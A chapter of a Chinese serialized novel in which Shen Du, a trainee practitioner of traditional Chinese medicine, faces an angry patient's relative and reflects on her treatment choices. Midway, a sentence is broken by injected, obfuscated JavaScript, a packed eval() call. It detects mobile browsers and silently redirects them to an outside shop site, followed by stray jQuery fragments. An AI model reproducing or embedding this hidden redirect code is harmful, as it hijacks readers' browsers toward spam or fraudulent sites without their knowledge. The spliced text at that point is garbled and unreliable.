九月的第二个周六,沈渡在社区义诊时遇到了麻烦。麻烦不是病人本身,是病人的家属。
患者是个七十多岁的老太太,姓吴,沈渡之前给她看过两次,失眠、头晕、心悸。她辨证为心脾两虚,开了归脾汤加减。吴老太吃了两周,说睡眠好多了,头晕也轻了,就是有点上火,嘴角起了个泡。沈渡在上次的方子里减了黄芪和龙眼肉,加了麦冬和玄参,让她再吃一周。吴老太拿着方子走了,沈渡继续看下一个病人。
下午三点多,吴老太的女儿来了。四十多岁的女人,穿着一件深红色的连衣裙,烫着卷发,拎着一个名牌包。她没有挂号,直接冲进诊室,把一张处方笺拍在桌上。“你就是沈渡?”沈渡刚给一个患者扎完针,手还没洗。“我是。”
“你开的什么药?我妈吃了上吐下泻,昨天晚上送急诊了!”沈渡看着那张处方笺,是她写的,字迹很清楚,剂量也没有错。“你妈妈吃的什么药?按方子抓的吗?”“就是按你的方子抓的!”女人把手机拿出来,翻出一张照片,上面是一袋中药,包装袋上印着某某药房的字样。沈渡接过来看了看——药是对的,没有抓错。
“她在急诊查了没有?医生怎么说?”
“查了,说是急性肠胃炎。不是你的药的问题还能是什么?我妈以前胃好好的!”
沈渡把手机还给她,从抽屉里拿出吴老太的病历本翻开。记录很清楚,每次就诊的时间、主诉、舌脉、方药,还有她写的注意事项——饭后温服、忌生冷油腻。她把病历本递给女人看。“你妈妈上周来看的时候,舌苔白腻,边有齿痕,是脾虚湿盛的表现。归脾汤里有黄芪、龙眼肉,偏温补,有些人吃了会上火。我这次把温补的药减了,加了清热润燥的药。你妈妈上吐下泻,不一定是药的问题。她最近有没有吃什么不干净的东西?”
女人的声音更大了。“你什么意思?你是说我妈自己吃坏了肚子?她在家里吃的饭,我们全家都吃了,怎么别人没事?”
诊室里安静下来。排队的患者都看着沈渡。沈渡没经历过这种场面,心里在跳,手心开始出汗,但她脸上没有表情。她把吴老太的病历合上,放在桌上。
“阿姨现在在哪个医院?我去看看她。”
“不用你假好心!”
“我不是假好心。你的妈妈说清楚了才能好得快。”
林医生从隔壁诊室过来了。他不知道什么时候听到了动静,站在门口,看了看沈渡,又看了看那个女的。“这位家属,有什么事可以跟我说,我是这里的负责人。”
女人又把事情说了一遍,语速很快,说到“上吐下泻”的时候声音都在抖。林医生听完,说:“这样吧,你把你母亲住院的医院和床号告诉我们,我们明天去看她。如果确实是中药的问题,我们承担责任。如果不是,我们也要了解一下情况,看看到底是什么原因。”
女人看着他,又看了看沈渡。她拎着包,转身走了。诊室里安静了一会儿。排队的人窃窃私语,似有似无的目光飘来飘去。
林医生看了沈渡一眼:“你继续。”
沈渡在诊室里坐到傍晚。没有病人了,林医生在隔壁收拾东西,护士关了走廊的灯。沈渡一个人坐在那里,把吴老太的病历又翻了一遍。辨证没有错,方子没有错,剂量没有错。她不知道哪里出了问题,也许是吴老太自己吃了什么东西,也许是药房的药质量不好,也许是她辨证漏了什么——湿盛的人用归脾汤,即使减了温补的药也容易助湿。林院长说过,“湿盛者,先化湿,后补脾。湿不去,补不进。”
沈渡合上病历本。她漏了。不是方子开错了,是顺序错了。她应该在补脾之前先把湿气化掉,用平胃散、二陈汤开路,等舌苔干净了再补。她太急了,想一步到位,忘了“急则治其标,缓则治其本”。湿是标,脾虚是本。她在治本之前没有把标清干净,本补不进去,标反而更重了。
沈渡坐在暮色里,窗外有人在收摊,卷帘门拉下来的声音哐啷哐啷的。她知道错了,错在哪里,也知道该怎么办。但她不知道吴老太的女儿还愿不愿意相信她,不知道吴老太还愿不愿意吃她开的药。这种事如果发生了第二次,她可能就不敢开药了。她不怕药,她怕信任。信任是易碎品,碎了就粘不回去了。
周日,沈渡去了吴老太住院的医院。她在护士站问到了床号,走到病房门口,门半开着。吴老太躺在床上,脸色还有点白,但精神不错,正在跟邻床的病人聊天。沈渡站在门口没有进去。她不知道该说什么——说“对不起,我开错了”?她没开错。说“不是我的错”?那像在推卸责任。她站了好一阵,还是敲了门。
吴老太看到她,愣了一下。“沈医生?”沈渡走进去,把带来的水果放在床头柜上。“阿姨,您好点了吗?”“好多了。昨天又吐又拉的,吓死我了。医生说可能是急性肠胃炎,挂了两瓶水就好了。”
沈渡在旁边坐下。“阿姨,您那天吃中药之前,有没有吃别的什么?比如隔夜的菜、凉的东西?”
吴老太想了想。“我那天中午吃了半个西瓜,放在冰箱里的。我儿子买的,不吃浪费了。”
沈渡的心里有底了。西瓜是凉的,吴老太脾虚湿盛,脾胃阳气不足,吃了冰西瓜寒湿内盛,上吐下泻。不是中药的问题,是西瓜的问题。但她没有说“不是我的错”,没有说“是你自己吃坏了肚子”。她只是说:“阿姨,您脾胃弱,生冷的要少吃。药也要继续吃,我给您调一下方子,先化湿,再补脾。”
吴老太看着她。“沈医生,你不用安慰我。我女儿去你那里闹了,我知道。她脾气急,你别往心里去。”
“我没往心里去。您好了就行。”
从医院出来,天已经快黑了。沈渡走在路灯下,把手机拿出来给林医生发了一条消息:“吴老太的病不是中药的问题,是她吃了冰西瓜。”林医生很快回了一句:“知道了。你没事吧?”沈渡说没事,把手机放回口袋。她有事。不是因为被冤枉了,是因为她知道自己开药的顺序错了。即使这次不是药的问题,下次也可能因为顺序错了而出问题。她不要有下次。
晚上沈渡去了贺老那里。枇杷果已经摘完了,树上只剩叶子。贺老坐在廊下,听她说完吴老太的事,端起茶杯喝了一口。
“你错了吗?”
“错了。顺序错了。”
“你知道错在哪里,就不会再错第二次。”他把茶杯放下,“还有,你那个方子,归脾汤。归脾汤里有木香,木香行气,但量小了不行。你用了多少?”
“三克。”
“加一倍。六克。气行则湿化,湿化则补得进。”
沈渡把这句话记住了。
从贺老家出来,沈渡去了徐敏家。念念已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671939|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经睡着了,婴儿床里蜷着像一只小虾。徐敏在客厅看电视,声音调得很小。沈渡坐在沙发上把今天的事说了一遍。“我被家属骂了。”徐敏问怕不怕,沈渡想了想。“怕。不是怕她骂我,是怕她不相信我了。”
徐敏把电视关了。“她信不信任你,是她的事。你该怎么做还怎么做。你不能因为一个人不信任你,就不做对的事。”沈渡不知道她能不能做到,但她在想这句话。
周一上班,沈渡心不在焉。她对着电脑屏幕上的Excel表格一个数字都看不进去,脑子里的画面挥之不去——吴老太的女儿把处方笺拍在桌上、诊室里安静下来、排队的人看着她的眼神。她用圆珠笔在废纸上画了很多圈,擦了写,写了擦。
中午陈媛发来消息:“你周末来我家吃饭吗?我老公学了新菜。”沈渡回了一个“好”,没有说吴老太的事。她不知道该怎么跟陈媛说——她被家属骂了,她开药的顺序错了,她差点害了人。这些话说出来就重了,她怕重了接不住。
下午快下班的时候,陈槿打来电话。沈渡不知道她怎么有自己的号码,她没有给过。电话那头的声音很平淡:“你那个社区的病人,处理好了吗?”沈渡愣了一下。“……您怎么知道?”“林院长跟我说的。她说你被家属骂了。”沈渡握着手机,走到窗边。窗外是工业区的厂房,烟囱在冒白烟,白色的烟升到半空就被风吹散了。
“处理好了。不是药的问题,是患者吃了冰西瓜。”
“我知道。我打电话不是问你病人,是问你。”
“问我什么?”
“问你还好不好。”
沈渡攥着手机。她不知道陈槿为什么要打电话问她好不好,她的老师不会问她好不好,贺老不会,林院长也不会。他们只问她学到了什么,做对了什么,做错了什么。没有人问她好不好。她也从来不说自己好不好,她习惯了说“还行”。
“还行。”她说。
“还行就是不好。”陈槿的声音没有变化,但沈渡听出了别的东西——不是关心,是确认。陈槿在确认她是不是能扛住。一个连家属的骂都扛不住的医生,在急诊科待不下去。
“我能扛住。”沈渡说。
“那就好。”陈槿挂了。
沈渡站在窗边,看着窗外的烟囱。白烟还在飘,风还在吹,工业区到了傍晚反而更忙碌。她把手机从耳边拿下来,攥了攥又放回口袋,拿了张纸巾把窗户玻璃上那个模模糊糊的指印擦掉了,其实旁边还有一个,她擦了又擦,直到整块玻璃都干净了。干净了,就能看清外面了。外面是厂房、烟囱、灰蒙蒙的天,不怎么好看,但那是真实的世界。她要在真实的世界里做医生,不是在书里,不是在梦里。
晚上沈渡把那本《方剂学》翻到“祛湿剂”那一章。平胃散、二陈汤、藿香正气散。她把那些方子默了一遍,默完又默了一遍。湿气不化,补药不进。她不会再犯同样的错。她把书合上,放进书包。明天要带去公司,午休的时候再看一遍。
那本《急诊医学》她今天没有翻,明天再翻。今天看够了,再看脑子就满了。满了会溢,溢了就记不住。她关了台灯,在黑暗中听着窗外的声音。远处的马路有车经过,近处的空调外机嗡嗡响。这些声音都不大,但加在一起,刚好够盖住她脑子里的那些回响。今天的事今天了,明天的事明天再说。